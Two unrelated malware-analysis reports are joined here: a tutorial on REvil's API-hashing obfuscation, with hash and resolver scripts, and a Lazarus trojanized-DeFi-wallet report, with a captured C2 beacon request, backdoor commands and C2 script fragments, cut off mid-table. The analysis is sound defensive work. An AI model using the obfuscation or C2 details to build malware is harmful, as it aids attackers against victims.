# API-Hashing in the Sodinokibi/REvil Ransomware – Why and How? This post is written for aspiring reverse engineers and will talk about a technique called *API hashing*. The technique is used by malware authors to hinder reverse engineering. We will first discuss the reasons a malware author may even consider using API hashing. Then we will cover the necessary technical details around resolving dynamic imports at load-time and at runtime and finally, will describe API hashing and show a Python script that emulates the hashing method used in Sodinokibi/REvil ransomware. ## Top Down vs. Bottom Up One way to think about different approaches of reverse engineering is *Top Down* vs. *Bottom Up*. Top Down means that you start with the entry point(s) of a binary and follow the execution flow. Bottom Up means that you start at an *interesting location* of the binary and try to understand if and how the execution flow will reach it. Such a location may for example be an interesting string embedded in the binary (e.g., `http://example.com` or `s3cr3t`). So-called *imports* are also a good entry point for a Bottom Up analysis. One strength of the Bottom Up approach is that you can *focus* your analysis efforts with very little understanding of the malware or, to phrase it differently, at a very early point in time: You want to know where the juice crypto stuff is happening? Look for calls to the Windows API function `BCryptOpenAlgorithmProvider`. Want to know where the payload, later dropped to `%TEMP%\evil.exe`, comes from? Look for reference to the string `\evil.exe`. Since this approach is so powerful, malware authors are highly motivated to make it harder for the reverse engineer to use it. One of these counter-measures is called "dynamic API resolutions with name hashing" and described in this blog post. ## API Resolution at Load-Time Under Windows, imports are listed in the import address table (IAT) of the Portable Executable (PE) file. The table references functions that can be used during execution but are located in an external module. If a program wants to call `PathCanonicalize` in `SHLWAPI.dll`, for example, the IAT of your executable contains an entry referencing that function. Say, you are looking for the command & control (C2) server of the malware, then you may want to look at the functions referencing `WININET.dll` and find the `InternetConnect` entry. A string containing the C2 may be referenced in the vicinity of calls to this function. ## API Resolution at Runtime An obvious counter-measure against this reverse engineering approach is to not use the function pointer from the IAT but resolve it at runtime. For this, the Windows API offers the functions `LoadLibrary` and `GetProcAddress`. The `LoadLibrary` function accepts the name of a DLL and returns a handle to it. This handle can then be passed to `GetProcAddress` together with a function name to get a pointer to the corresponding function: ```c #include <stdio.h> #include <windows.h> typedef BOOL(*funcType)(LPSTR, LPCSTR); int main() { char buf[MAX_PATH]; HMODULE hModule = LoadLibrary("SHLWAPI.dll"); funcType PathCanonicalizeA = (funcType)GetProcAddress(hModule, "PathCanonicalizeA"); if (!PathCanonicalizeA(buf, "A:\\path\\.\\somewhere\\..\\file.dat")) { return 1; } printf("%s", buf); FreeLibrary(hModule); return 0; } ``` Looking at references to `PathCanonicalizeA` in the IAT will not lead to the call seen in the above code listing, defeating the technique described in *Static Imports*. For convenience reasons, one can now store the addresses retrieved by `GetProcAddress` in global variables: If these global variables are named like the actual API functions, one wouldn't even need to change old code. Switching back to the perspective of a reverse engineer, one can look for the *string* `PathCanonicalizeA` now. It needs to be passed to the `GetProcAddress` function at some point. This, of course, can then be defeated by obfuscating the strings in the binary. But we will explore a different avenue in this post: The below-described method avoids inclusion of function names altogether. Instead, only a fixed-sized hash of the function name will be present which has the additional benefit of saving on storage space. This is especially interesting when developing shellcode, where size restrictions may be tough and real. ## API Hashing Let's again put ourselves into the shoes of a malware author and let us further assume we have a list of all exported function names for a given DLL. We can now calculate a hash for each function name. The hash doesn't need to be cryptographically secure or even evenly distributed on the codomain. It only needs to be relatively collision-free on the set of all exported function names. The following hashing function - which is used in a recent sample of the Sodinokibi/REvil ransomware - initializes a state with `0x2b` and then uses each character of the function name as an argument for an arithmetic operation. It performs an arbitrary arithmetic operation in the end and finally returns the resulting state. ```python #!/usr/bin/env python3 def calc_hash(function_name): ret = 0x2b for c in function_name: ret = ret * 0x10f + ord(c) return (ret ^ 0xafb9) & 0x1fffff ``` The table below lists the resulting hash for a few functions exported from `WINHTTP.dll`. One already may notice that all the hashes are different. In fact, they are pairwise-different for all functions exported from `WINHTTP.dll`, so if we would only consider exports of that DLL and only want to use these eleven functions, the hash can be used to uniquely identify the API function. | API function name | Hash | |----------------------------------|-----------| | WinHttpSendRequest | 0x1ce2a7 | | WinHttpSetOption | 0x1a5e67 | | WinHttpReadData | 0x064450 | | WinHttpCloseHandle | 0x0fd1fe | | WinHttpOpen | 0x0a459a | | WinHttpQueryDataAvailable | 0x0b8299 | | WinHttpReceiveResponse | 0x128d32 | | WinHttpConnect | 0x105ed8 | | WinHttpQueryHeaders | 0x09d98e | | WinHttpOpenRequest | 0x066635 | | WinHttpCrackUrl | 0x0c17e7 | You might have guessed, what the overall goal now is: somehow get a list of all API function names together with their addresses, calculate the hashes for each of their names and only use the hash when referring to them. This way, we would avoid inclusion of any string - obfuscated or not - that refers to the API function by name. This works as long as for each function we want to use, the hashing method is collision-free over all considered function names. ## Retrieving API function names But how do we get a list of all exported functions, potentially for all kinds of DLLs? As already described in the *Static Imports* section, every Portable Executable (PE) file, including DLLs, contain a table with all exported functions. And since all the data from a PE file is loaded into memory, this table is present in memory too. To be precise, the table is the first entry of the `DataDirectory` array of the *Optional Header* of the PE. The Optional Header is a structure of type `IMAGE_OPTIONAL_HEADER` and part of another structure called *PE Header*, which is located at offset `0x18`. The PE Header is of type `IMAGE_NT_HEADERS` and can be found when following the address at the very end of the *DOS Header* (that is at offset `0x3c`). The DOS Header is of type `IMAGE_DOS_HEADER`. To summarize this rambling the other way around: - The *DOS Header* is located at the beginning of a PE file. - The *PE Header* is referenced at position `0x3c` of the *DOS header*. - The *Optional Header* is part of the PE header at offset `0x18`. - All *Data Directories* are stored at offset `0x60` of the Optional Header. - The *Export Directory* is the first Data Directory. **#lifehack**: offsets `0x3c` and `0x78` (which is the sum of the two offsets `0x18 + 0x60` from the listing above) appearing in assembly or decompiled code indicate that PE parsing is going on with the goal to retrieve exports from a PE file. ## Listing exports of DLLs Let's get our hands dirty: In this section, we will briefly explain how to easily collect API function names from Windows DLLs. This is useful independently of the malware family one analyzes. In the section after, we will look at a concrete sample of the Sodinokibi/REvil ransomware. With the help of a Python script, we will calculate API hashes for the collected function names and compare the resulting hashes with the content of a buffer embedded in the malware. The following Python script accepts a list of DLLs on the command line. Each line of its output is the name of the DLL followed by a space and the name of an export of the DLL. ```python #!/usr/bin/env python3 import sys import pefile import glob for arg in sys.argv[1:]: for file_name in glob.glob(arg): try: with open(file_name, 'rb') as fp: pe = pefile.PE(data=fp.read()) except pefile.PEFormatError: continue if not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): continue export = pe.DIRECTORY_ENTRY_EXPORT dll_name = pe.get_string_at_rva(export.struct.Name) if not dll_name: continue if len(export.symbols) == 0: continue for pe_export in export.symbols: if not pe_export.name: continue print(dll_name.decode('utf-8'), pe_export.name.decode('utf-8')) ``` You can use the script to accumulate exports for as many DLLs as possible. We will collect the result in a file called `exports.txt`. ## API Hashing in Sodinokibi/REvil Ransomware Let's consider the sample with SHA-256 hash `5f56d5748940e4039053f85978074bde16d64bd5ba97f6f0026ba8172cb29e93`. It belongs to the Sodinokibi/REvil ransomware family and contains a build timestamp of 2019-06-10 15:29:32. Reverse engineering with Ghidra yields the buffer shown below in hex-encoded format. ``` ae91d3b60313b7aca7e29c9ff53a4b505bf85fc37c42ad39da426c2851aa6caeaad50b9f84573f3d142cbc ``` Right after startup, the malware interprets it as an array of length `0x230` storing a `DWORD` in each entry. Each `DWORD` corresponds to an API function and Sodinokibi/REvil uses API hashing to resolve the corresponding addresses. The Python script listed in the *Appendix* emulates the behavior of the malware: it reads all exports from `exports.txt`, calculates all hashes for all exports, and lists each `DWORD` of the buffer stored in `buffer.bin` together with their API function name: | DLL Name | API Hash | Function Name | |------------------|------------|--------------------------------| | ADVAPI32.dll | 0x2b7d106b | CheckTokenMembership | | ADVAPI32.dll | 0x40b57bbe | FreeSid | | ADVAPI32.dll | 0x431d781e | IsValidSid | | ADVAPI32.dll | 0x43e878e7 | GetTokenInformation | | ADVAPI32.dll | 0x45357e2f | GetUserNameW | | ADVAPI32.dll | 0x49d572d6 | OpenProcessToken | | ADVAPI32.dll | 0x5b2a6022 | CryptAcquireContextW | | ADVAPI32.dll | 0x8012bb13 | ImpersonateLoggedOnUser | | ADVAPI32.dll | 0x8c2cb729 | RegCloseKey | | ADVAPI32.dll | 0x8f6ab47f | RevertToSelf | | ADVAPI32.dll | 0x9c12a701 | RegOpenKeyExW | | ADVAPI32.dll | 0x9d3ca625 | RegSetValueExW | | ADVAPI32.dll | 0xc35ff85b | RegQueryValueExW | | ADVAPI32.dll | 0xd48aef93 | RegCreateKeyExW | | ADVAPI32.dll | 0xda1fe106 | AllocateAndInitializeSid | | ADVAPI32.dll | 0xe46bdf69 | CryptGenRandom | | combase.dll | 0x39ad427c | CreateStreamOnHGlobal | | CRTDLL.dll | 0x958c2a38 | _snwprintf | | CRYPT32.dll | 0x2dc78a5e | CryptStringToBinaryW | | CRYPT32.dll | 0xadcf0a5e | CryptBinaryToStringW | | GDI32.dll | 0x3371decc | DeleteObject | | GDI32.dll | 0x346dd9cc | DeleteDC | | GDI32.dll | 0x4bc6a666 | SetTextColor | | GDI32.dll | 0x5829b59a | SetBkColor | | GDI32.dll | 0x6e5983e6 | SetPixel | | GDI32.dll | 0x842f699b | GetDeviceCaps | | GDI32.dll | 0x8c936138 | CreateFontW | | GDI32.dll | 0xab3e468f | GetDIBits | | GDI32.dll | 0xc1bc2c14 | GetObjectW | | GDI32.dll | 0xd0803d2a | SetBkMode | | GDI32.dll | 0xeb6406c3 | CreateCompatibleBitmap | | GDI32.dll | 0xec0601b3 | GetStockObject | | GDI32.dll | 0xedc4007f | SelectObject | | GDI32.dll | 0xf7bc1a03 | CreateCompatibleDC | | KERNEL32.dll | 0x08c76270 | MapViewOfFile | | KERNEL32.dll | 0x0924639c | DeleteFileW | | KERNEL32.dll | 0x0b6061c9 | WaitForSingleObject | | KERNEL32.dll | 0x0f5c65e6 | GetNativeSystemInfo | | KERNEL32.dll | 0x13dbba0b | timeBeginPeriod | | KERNEL32.dll | 0x15fc7f40 | GetFileAttributesW | | KERNEL32.dll | 0x1b4f71f8 | Process32NextW | | KERNEL32.dll | 0x1ce07649 | GetVolumeInformationW | | KERNEL32.dll | 0x286c42da | CreateToolhelp32Snapshot | | KERNEL32.dll | 0x2f324589 | UnmapViewOfFile | | KERNEL32.dll | 0x2ff4455d | FindClose | | KERNEL32.dll | 0x32bf580a | GetCommandLineW | | KERNEL32.dll | 0x35195fa1 | GetFileSize | | KERNEL32.dll | 0x3c89563a | HeapCreate | | KERNEL32.dll | 0x3d3f5784 | OpenMutexW | | KERNEL32.dll | 0x40d32a7d | SetErrorMode | | KERNEL32.dll | 0x427728cd | FindNextFileW | | KERNEL32.dll | 0x43f52945 | CreateFileMappingW | | KERNEL32.dll | 0x490d23af | ExitProcess | | KERNEL32.dll | 0x4d1e27a2 | SystemTimeToFileTime | | KERNEL32.dll | 0x4f3d2599 | WriteFile | | KERNEL32.dll | 0x504b3af5 | PostQueuedCompletionStatus | | KERNEL32.dll | 0x50733aca | CompareFileTime | | KERNEL32.dll | 0x588e3220 | GetModuleFileNameW | | KERNEL32.dll | 0x5c6436d6 | CreateMutexW | | KERNEL32.dll | 0x5fcd3573 | OpenProcess | | KERNEL32.dll | 0x66d30c7b | GetDiskFreeSpaceExW | | KERNEL32.dll | 0x6a0800be | GetUserDefaultUILanguage | | KERNEL32.dll | 0x719e1b29 | GetProcessHeap | | KERNEL32.dll | 0x7f5b15e7 | GetDriveTypeW | | KERNEL32.dll | 0x8aabe016 | FindFirstFileW | | KERNEL32.dll | 0x8cabe614 | SetFileAttributesW | | KERNEL32.dll | 0x8cdbe673 | MultiByteToWideChar | | KERNEL32.dll | 0x90c6fa75 | Sleep | | KERNEL32.dll | 0x91f2fb5a | ReleaseMutex | | KERNEL32.dll | 0x93b3f91f | GetComputerNameW | | KERNEL32.dll | 0x9763fdd3 | Process32FirstW | | KERNEL32.dll | 0x9a9bf02c | LocalAlloc | | KERNEL32.dll | 0x9ad6f07d | CreateFileW | | KERNEL32.dll | 0x9c60f6ca | GetSystemDefaultUILanguage | | KERNEL32.dll | 0x9e07f4be | GlobalAlloc | | KERNEL32.dll | 0xa185cb2c | CloseHandle | | KERNEL32.dll | 0xa468cec4 | SetFilePointerEx | | KERNEL32.dll | 0xaf7fc5dd | GetSystemDirectoryW | | KERNEL32.dll | 0xb0b6da10 | TerminateProcess | | KERNEL32.dll | 0xb780dd38 | GetCurrentProcess | | KERNEL32.dll | 0xbf26d591 | Wow64RevertWow64FsRedirection | | KERNEL32.dll | 0xc1ddab7a | GetProcAddress | | KERNEL32.dll | 0xc610aca5 | GetQueuedCompletionStatus | | KERNEL32.dll | 0xc97fa3d5 | LocalFree | | KERNEL32.dll | 0xca02a0b5 | GetCurrentProcessId | | KERNEL32.dll | 0xca0863c2 | timeGetTime | | KERNEL32.dll | 0xcb37a181 | MulDiv | | KERNEL32.dll | 0xcbe9a151 | Wow64DisableWow64FsRedirection | | KERNEL32.dll | 0xcc3aa698 | CreateThread | | KERNEL32.dll | 0xcc49a6fa | GetTempPathW | | KERNEL32.dll | 0xd0cdba63 | GlobalFree | | KERNEL32.dll | 0xdb88b122 | GetFileSizeEx | | KERNEL32.dll | 0xdd54b7ec | VirtualAlloc | | KERNEL32.dll | 0xe2e48854 | ReadFile | | KERNEL32.dll | 0xe36b89db | WideCharToMultiByte | | KERNEL32.dll | 0xe5a88f1a | HeapDestroy | | KERNEL32.dll | 0xe6c88c71 | GetSystemInfo | | KERNEL32.dll | 0xe96d83df | GetFileAttributesExW | | KERNEL32.dll | 0xeb7281db | GetWindowsDirectoryW | | KERNEL32.dll | 0xee8d8436 | MoveFileW | | KERNEL32.dll | 0xf1989b33 | CreateIoCompletionPort | | MPR.dll | 0x380572b8 | PathFindExtensionW | | MPR.dll | 0x7518713e | WNetEnumResourceW | | MPR.dll | 0xae6caa51 | WNetCloseEnum | | MPR.dll | 0xc258c662 | WNetOpenEnumW | | ntdll.dll | 0x3822879e | RtlFreeHeap | | ntdll.dll | 0x7697c934 | RtlTimeToTimeFields | | ntdll.dll | 0x8fe93045 | RtlDeleteCriticalSection | | ntdll.dll | 0x95e62a4e | NtOpenFile | | ntdll.dll | 0xacb71303 | RtlGetLastWin32Error | | ntdll.dll | 0xb86307ce | RtlInitializeCriticalSection | | ntdll.dll | 0xc09d7f3e | NtClose | | ntdll.dll | 0xc97676c4 | RtlEnterCriticalSection | | ntdll.dll | 0xd2ae6d17 | RtlLeaveCriticalSection | | ntdll.dll | 0xd69d6931 | RtlAllocateHeap | | ntdll.dll | 0xe4135ba8 | NtQueryInformationFile | | ntdll.dll | 0xfac34566 | RtlInitUnicodeString | | rtm.dll | 0x6acc17e7 | EnumOverTable | | SHCORE.dll | 0x2b1ca591 | CommandLineToArgvW | | SHCORE.dll | 0x64472ee8 | SHDeleteValueW | | SHCORE.dll | 0x9f0bd5aa | SHDeleteKeyW | | SHELL32.dll | 0x9cbc123d | ShellExecuteExW | | USER32.dll | 0x368a11e7 | GetForegroundWindow | | USER32.dll | 0x9359b433 | GetDC | | USER32.dll | 0xb6d391ae | wsprintfW | | USER32.dll | 0xbda29ac3 | GetKeyboardLayoutList | | USER32.dll | 0xd228f54c | SystemParametersInfoW | | USER32.dll | 0xec21cb5b | FillRect | | USER32.dll | 0xfb28dc52 | DrawTextW | | USER32.dll | 0xfcbfdbc2 | ReleaseDC | | WINHTTP.dll | 0x1b146635 | WinHttpOpenRequest | | WINHTTP.dll | 0x235a5e67 | WinHttpSetOption | | WINHTTP.dll | 0x23ef5ed8 | WinHttpConnect | | WINHTTP.dll | 0x38b7459a | WinHttpOpen | | WINHTTP.dll | 0x39714450 | WinHttpReadData | | WINHTTP.dll | 0x9f9ce2a7 | WinHttpSendRequest | | WINHTTP.dll | 0xa4a0d98e | WinHttpQueryHeaders | | WINHTTP.dll | 0xacd6d1fe | WinHttpCloseHandle | | WINHTTP.dll | 0xf0078d32 | WinHttpReceiveResponse | | WINHTTP.dll | 0xffb58299 | WinHttpQueryDataAvailable | This data can now be used to deduce which functions are called and enable a Bottom Up approach again. Looking at the only references to `WinHttpConnect`, for example, will probably lead to a C2 server. ## Appendix ```python #!/usr/bin/env python3.7 from revil import calc_hash def chunks(l, n): for i in range(0, len(l), n): yield l[i:i + n] def main(): exports = [] with open('exports.txt', 'r') as fp: for line in fp: sp = line.strip().split(' ') if len(sp) != 2: continue exports.append(sp) with open('buffer.bin', 'rb') as fp: hash_buffer = fp.read() resolutions = {} for chunk in chunks(hash_buffer, 4): api_hash = int.from_bytes(chunk, byteorder='little') for dll_name, export_name in exports: calculated_hash = calc_hash(export_name) if calculated_hash == ((api_hash ^ 0x76c7) << 0x10 ^ api_hash) & 0x1fffff: if dll_name not in resolutions.keys(): resolutions[dll_name] = [] resolutions[dll_name].append((api_hash, export_name)) break for dll_name, pairs in resolutions.items(): for api_hash, export_name in pairs: print(F'{dll_name}\t0x{api_hash:08x}\t{export_name}') if __name__ == '__main__': main() ``` Update (2019-11-22): No mention of the term "static import" now because it doesn't make sense. Instead of "dynamic" vs. "static" imports, the post now talks about imports resolved at "load-time" vs. those resolved at "runtime".
# Lazarus Trojanized DeFi App for Delivering Malware **Authors**: GReAT For the Lazarus threat actor, financial gain is one of the prime motivations, with a particular emphasis on the cryptocurrency business. As the price of cryptocurrency surges, and the popularity of non-fungible tokens (NFT) and decentralized finance (DeFi) businesses continues to swell, the Lazarus group’s targeting of the financial industry keeps evolving. We recently discovered a Trojanized DeFi application that was compiled in November 2021. This application contains a legitimate program called DeFi Wallet that saves and manages a cryptocurrency wallet, but also implants a malicious file when executed. This malware is a full-featured backdoor containing sufficient capabilities to control the compromised victim. After looking into the functionalities of this backdoor, we discovered numerous overlaps with other tools used by the Lazarus group. The malware operator exclusively used compromised web servers located in South Korea for this attack. To take over the servers, we worked closely with the KrCERT and, as a result of this effort, we had an opportunity to investigate a Lazarus group C2 server. The threat actor configured this infrastructure with servers set up as multiple stages. The first stage is the source for the backdoor while the goal of the second stage servers is to communicate with the implants. This is a common scheme used in Lazarus infrastructure. ## Background In the middle of December 2021, we noticed a suspicious file uploaded to VirusTotal. At first glance, it looked like a legitimate application related to decentralized finance (DeFi); however, looking closer we found it initiating an infection scheme. When executed, the app drops both a malicious file and an installer for a legitimate application, launching the malware with the created Trojanized installer path. Then, the spawned malware overwrites the legitimate application with the Trojanized application. Through this process, the Trojanized application gets removed from the disk, allowing it to cover its tracks. ### Infection Timeline **Initial Infection** While it’s still unclear how the threat actor tricked the victim into executing the Trojanized application (0b9f4612cdfe763b3d8c8a956157474a), we suspect they sent a spear-phishing email or contacted the victim through social media. The hitherto unknown infection procedure starts with the Trojanized application. This installation package is disguised as a DeFi Wallet program containing a legitimate binary repackaged with the installer. Upon execution, it acquires the next stage malware path (C:\ProgramData\Microsoft\GoogleChrome.exe) and decrypts it with a one-byte XOR (Key: 0x5D). In the process of creating this next malware stage, the installer writes the first eight bytes including the ‘MZ’ header to the file GoogleChrome.exe and pushes the remaining 71,164 bytes from the data section of the Trojanized application. Next, the malware loads the resource CITRIX_MEETINGS from its body and saves it to the path C:\ProgramData\Microsoft\CM202025.exe. The resulting file is a legitimate DeFi Wallet application. Eventually, it executes the previously created malware with its file name as a parameter: C:\ProgramData\Microsoft\GoogleChrome.exe “[current file name]”. ### Malware Creation Diagram **Backdoor Creation** The malware (d65509f10b432f9bbeacfc39a3506e23) generated by the above Trojanized application is disguised as a benign instance of the Google Chrome browser. Upon launch, the malware checks if it was provided with one argument before attempting to copy the legitimate application “C:\ProgramData\Microsoft\CM202025.exe” to the path given as the command line parameter, which means overwriting the original Trojanized installer, almost certainly in an attempt to conceal its prior existence. Next, the malware executes the legitimate file to deceive the victim by showing its benign installation process. When the user executes the newly installed program, it shows the DeFi Wallet software built with the public source code. Next, the malware starts initializing the configuration information. The configuration shows the structure consisting of flags, C2 server addresses, victim identification value, and time value. As the structure suggests, this malware can hold up to five C2 addresses, but only three C2 servers are included in this case. | Offset | Length(bytes) | Description | |--------|---------------|-------------| | 0x00 | 4 | Flag for starting C2 operation | | 0x04 | 4 | Random value to select C2 server | | 0x08 | 4 | Random value for victim identifier | | 0x0C | 0x208 | C2 server address | | 0x214 | 0x208 | C2 server address | | 0x41C | 0x208 | C2 server address | | 0x624 | 0x208 | C2 server address | | 0x82C | 0x208 | C2 server address | | 0xA34 | 0x464 | Buffer for system information | | 0xE98 | 0x400 | Full cmd.exe path | | 0x1298 | 0x400 | Temporary folder path | | 0x1698 | 8 | Time to start backdoor operation | | 0x16A0 | 4 | Time interval | | 0x16A4 | 4 | Flag for gathering logical drives | | 0x16A8 | 8 | Flag for enumerating session information | | 0x16B0 | 8 | The time value for gathering logical drive and session information | The malware randomly chooses a C2 server address and sends a beacon signal to it. This signal is a hard-coded ‘0x60D49D94’ DWORD without encryption; the response data returned from the C2 carries the same value. If the expected value from the C2 server is received, the malware starts its backdoor operation. Following further communication with the C2, the malware encrypts data by a predefined method. The encryption is done via RC4 and the hard-coded key 0xD5A3 before additionally being encoded with base64. The malware generates POST parameters with hard-coded names. The request type (msgID), victim identification value, and a randomly generated value are merged into the ‘jsessid’ parameter. It also uses the ‘cookie’ parameter to store four randomly generated four-byte values. These values are again encrypted with RC4 and additionally base64 encoded. Based on our investigation of the C2 script, we observed this malware not only uses a parameter named ‘jsessid’, but also ‘jcookie’ as well. **Structure of ‘jsessid’ Parameter** The following HTTP request shows the malware attempting to connect to the C2 with the request type ’60d49d98’ and a randomly generated cookie value. ``` POST /include/inc.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) Host: emsystec.com Content-Length: 80 Cache-Control: no-cache jsessid=60d49d980163be8f00019f91&cookie=29f23f917ab01aa8lJ3UYA==2517757b7dfb47f1 ``` Depending on the response from the C2, the malware performs its instructed backdoor task. It carries various functionalities to gather system information and control the victim machine. | Command | Description | |------------------|-------------| | 0x60D49D97 | Set time configuration with the current time interval (default is 10) value | | 0x60D49D9F | Set time configuration with delivered data from C2 server | | 0x60D49DA0 | Gather system information, such as IP address, computer name, OS version, CPU architecture | | 0x60D49DA1 | Collect drive information including type and free size | | 0x60D49DA2 | Enumerate files (with file name, size, time) | | 0x60D49DA3 | Enumerate processes | | 0x60D49DA4 | Terminate process | | 0x60D49DA5 | Change working directory | | 0x60D49DA6 | Connect to a given IP address | | 0x60D49DA7 | File timestamping | | 0x60D49DA8 | Execute Windows command | | 0x60D49DA9 | Securely delete a file | | 0x60D49DAA | Spawn process with CreateProcessW API | | 0x60D49DAB | Spawn process with CreateProcessAsUserW API | | 0x60D49DAC | Spawn process with high integrity level | | 0x60D49DAD | Download file from C2 server and save to given file path | | 0x60D49DAE | Send file creation time and contents | | 0x60D49DAF | Add files to .cab file and send it to the C2 server | | 0x60D49DB0 | Collect a list of files at the given path | | 0x60D49DB1 | Send the configuration to the C2 server | | 0x60D49DB2 | Receive new configuration from the C2 server | | 0x60D49DB3 | Set config to the current time | | 0x60D49DB4 | Sleep 0.1 seconds and continue | ## Infrastructure Lazarus only used compromised web servers located in South Korea in this campaign. As a result of working closely with the KrCERT in taking down some of them, we had a chance to look into the corresponding C2 script from one of the compromised servers. The script described in this section was discovered in the following path: ``` http://bn-cosmo[.]com/customer/board_replay[.]asp ``` The script is a VBScript.Encode ASP file, commonly used by the Lazarus group in their C2 scripts. After decoding, it shows the string ’60d49d95’ as an error response code, whereas the string ’60d49d94’ is used as a success message. In addition, the connection history is saved to the file ‘stlogo.jpg‘ and the C2 address for the next stage is stored in the file ‘globals.jpg‘ located in the same folder. ### Configuration of C2 Script This script checks what value is delivered in the ‘jcookie’ parameter and, if it’s longer than 24 characters, it extracts the first eight characters as msgID. Depending on the msgID value, it calls different functions. The backdoor command and command execution result delivered by the backdoor get stored to global variables. We have seen this scheme in operation before with the Bookcode cluster. | msgID | Function | Description | |----------------|------------|-------------| | 60d49d98 | TFConnect | Save the ‘TID’ value (victim identifier) to the log file, send ‘jcookie’ value with the client’s IP address after acquiring the next stage C2 address from the config file (globals.jpg). Forward the response from the next stage server to the client. | | 60d49d99 | TConnect | Deliver the command to the backdoor: If the lFlag is ‘true’, send lBuffer to the client. Reset ‘lBuffer’ and set lFlag to ‘false’. Otherwise, reset ‘tBuffer’ and set tFlag to ‘false’. | | 60d49d9a | LConnect | Send the command and return the command execution result: Set ‘lBuffer’ value to ‘jcookie’ parameter, delivering ‘tBuffer’ to the client. | | 60d49d9c | Check | Retrieve host information (computer name, OS version). Delete the configuration file, which saves the C2’s next stage address, if it exists. Then save the new configuration with delivered data through the ‘jcookie’ parameter. | | 60d49d9d | LogDown | Deliver log file after base64 encoding and then delete it. | | the others | N/A | Write connections with unknown/unexpected msgID (request type) data to a log file, entries are tagged with ‘xxxxxxxx’. | ## Attribution We believe with high confidence that the Lazarus group is linked to this malware as we identified similar malware in the CookieTime cluster. The CookieTime cluster, called LCPDot by JPCERT, was a malware cluster that was heavily used by the Lazarus group until recently. We’ve seen Lazarus group target the defense industry using the CookieTime cluster with a job opportunity decoy. We have already published several reports about this cluster to our Threat Intelligence Service customers, and we identified a Trojanized Citrix application (5b831eaed711d5c4bc19d7e75fcaf46e) with the same code signature as the CookieTime malware. The backdoor discovered in the latest investigation, and the previously discovered Trojanized application, are almost identical. They share, among other things, the same C2 communication method, backdoor functionalities, random number generation routine, and the same method to encrypt communication data. Also, this malware was mentioned in an article by Ahnlab discussing connections with the CookieTime (aka LCPDot) malware. ### Same Backdoor Switch of Old CookieTime Malware In turn, we identified that the CookieTime cluster has ties with the Manuscrypt and ThreatNeedle clusters, which are also attributed to the Lazarus group. This doesn’t only apply to the backdoor itself, but also to the C2 scripts, which show several overlaps with the ThreatNeedle cluster. We discovered almost all function and variable names, which means the operators recycled the code base and generated corresponding C2 scripts for the malware. | ThreatNeedle C2 Script | C2 Script of This Case | |------------------------|------------------------| | roit.co[.]kr/xyz/adminer/edit_fail_decoded.asp | | | 1 function getIpAddress() | 1 function GetIpAddress() | | 2 On Error resume next | 2 ON Error Resume Next | | 3 Dim ip | 3 Dim iP | | 4 ip=Request.ServerVariables("HTTP_CLIENT_IP") | 4 ip=Request.ServerVariables("HTTP_CLIENT_IP") | | 5 If ip="" Then | 5 If ip="" Then | | 6 Ip=Request.ServerVariables("HTTP_X_FORWARDED_FOR") | 6 iP=Request.ServerVariables("HTTP_X_FORWARDED_FOR") | | 7 If ip="" Then | 7 If ip="" Then | | 8 ip=request.ServerVariables("REMOTE_ADDR") | 8 ip=Request.ServerVariables("REMOTE_ADDR") | | 9 End If | 9 End If | | 10 End if | 10 End If | | 11 GetIpAddress=ip | 11 GetIpAddress=ip | | 12 End Function | 12 End Function | ### Almost Identical Scripts to Fetch IP Address of Client | ThreatNeedle C2 Script | C2 Script of This Case | |------------------------|------------------------| | edujikim[.]com/pay_sample/INIstart.asp | | | 1 Sub writeDataToFile(strFileName, byData) | 1 Sub WriteData(filepath, byData) | | 2 Dim objFSO, objFile, strFilePath | 2 Dim objFSO, objFile | | 3 Const ForAppending = 8 | 3 Const ForAppending = 8 | | 4 strFilePath = Server.MapPath(".") & "\" & strFileName | 4 Set objFSO=CreateObject("Scripting.FileSystemObject") | | 5 Set objFSO = | 5 objFile=objFSO.OpenTextFile(filepath, ForAppending, True) | | 6 CreateObject("Scripting.FileSystemObject") | 6 Set objFile = | | 7 CreateObject("Scripting.FileSystemObject") | 7 objFile.Write byData | | 8 Set objFile = | 8 objFile.Close | | 9 objFSO.OpenTextFile(strFilePath, ForAppending, True) | 9 End Sub | | 10 objFile.Write byData | | | 11 objFile.Close | | | 12 End Sub | | ## Conclusions In a previous investigation, we discovered that the BlueNoroff group, which is also linked to Lazarus, compromised another DeFi wallet program called MetaMask. As we can see in the latest case, the Lazarus and BlueNoroff groups attempt to deliver their malware without drawing attention to it and have evolved sophisticated methods to lure their victims. The cryptocurrency and blockchain-based industry continues to grow and attract high levels of investment. For this reason, we strongly believe Lazarus’s interest in this industry as a major source of financial gain will not diminish any time soon. ## Indicators of Compromise **Trojanized DeFi Application** 0b9f4612cdfe763b3d8c8a956157474a: DeFi-App.exe **Dropped Backdoor** d65509f10b432f9bbeacfc39a3506e23: %ProgramData%\Microsoft\GoogleChrome.exe **Similar Backdoor** a4873ef95e6d76856aa9a43d56f639a4 d35a9babbd9589694deb4e87db222606 70bcafbb1939e45b841e68576a320603 3f4cf1a8a16e48a866aebd5697ec107b b7092df99ece1cdb458259e0408983c7 8e302b5747ff1dcad301c136e9acb4b0 d90d267f81f108a89ad728b7ece38e70 47b73a47e26ba18f0dba217cb47c1e16 77ff51bfce3f018821e343c04c698c0e **First Stage C2 Servers (Legitimate, Compromised)** hxxp://emsystec[.]com/include/inc[.]asp hxxp://www[.]gyro3d[.]com/common/faq[.]asp hxxp://www[.]newbusantour[.]co[.]kr/gallery/left[.]asp hxxp://ilovesvc[.]com/HomePage1/Inquiry/privacy[.]asp hxxp://www[.]syadplus[.]com/search/search_00[.]asp hxxp://bn-cosmo[.]com/customer/board_replay[.]asp **Second Stage C2 Servers (Legitimate, Compromised)** hxxp://softapp[.]co[.]kr/sub/cscenter/privacy[.]asp hxxp://gyro3d[.]com/mypage/faq[.]asp ## MITRE ATT&CK Mapping This table contains all the TTPs identified in the analysis of the activity described in this report. | Tactic | Technique | Technique Name | |---------------------|------------------------------------------------------------------|----------------| | Execution | T1204.002 | User Execution: Malicious File | | | | Use Trojanized application to drop malicious backdoor | | Persistence | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | | | | Register dropped backdoor to the Run registry key | | Defense | T1070.004 | Indicator Removal on Host: File Deletion | | Evasion | | The Trojanized application overwrites itself after creating a legitimate application to remove its trace | | | T1070.006 | Indicator 